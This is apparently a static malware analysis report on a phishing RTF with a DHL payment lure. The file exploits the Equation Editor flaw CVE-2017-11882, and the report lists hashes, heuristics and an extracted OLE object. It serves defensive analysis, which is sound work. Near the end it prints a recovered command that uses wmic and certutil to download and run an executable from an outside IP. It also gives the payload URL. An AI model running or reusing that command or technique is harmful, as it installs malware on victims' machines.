Malicious RTF — malware analysis report

Static analysis result for SHA-256 d1370ab190fe6f07…

MALICIOUS

RTF

275.2 KB Created: 2018-09-18 01:27:00 First seen: 2018-10-07
MD5: 7a88cf48a9b6ff9449c63c5f797bb7a7 SHA-1: 9a458cc5462d56d3c7e11be53cf3bcee0a4d37e1 SHA-256: d1370ab190fe6f07b9e9cf27722d8a51e204d198ebee872afc3ae60419c0cc02
390 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains an embedded OLE object that exploits CVE-2017-11882 in the Equation Editor. This exploit is designed to download and execute a secondary payload from the URL http://192.3.162.102/az/carm.exe. The document body contains a lure related to DHL shipping and payment, suggesting a phishing or scam attempt.

Heuristics 10

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882
    Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
  • URL Moniker in RTF OLE object high CVE related RTF_URL_MONIKER_RELATED
    RTF contains a URL Moniker GUID in OLE object context, but no decoded remote target was confirmed. Treat as related OLE2Link attack-surface evidence rather than proof of CVE-2017-0199 exploitation.
  • ClamAV: Rtf.Exploit.CVE_2018_0802-6825822-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Exploit.CVE_2018_0802-6825822-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Automatically linked OLE object high RTF_OBJAUTLINK
    RTF contains \objautlink — an automatically linked OLE object surface that can be updated or activated when Word opens the document.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 1 \objdata section(s) — embedded OLE objects
  • Fake invoice / payment lure low SE_INVOICE_LURE
    Document contains invoice or payment language paired with an action verb — useful context when combined with link, macro, or attachment indicators
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.3.162.102/az/carm.exe In RTF body
    • http://www.dhl.comIn RTF body
    • http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off00042f28.bin rtf-objdata-decoded RTF \objdata at offset 0x42F28 3627 bytes
SHA-256: f3f7ad8385065fb580f400c64d437c7c30f84cc3bc52c912a005a203c0dcb172
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://192.3.162.102/az/carm.exe Static shellcode analysis recovered command string(s): cmd /start wmic process call create " cmd /c certutil -urlcache -split -f http://192.3.162.102/az/carm.exe %temp%\\svchosts.exe&%temp%\\svchosts.exe "

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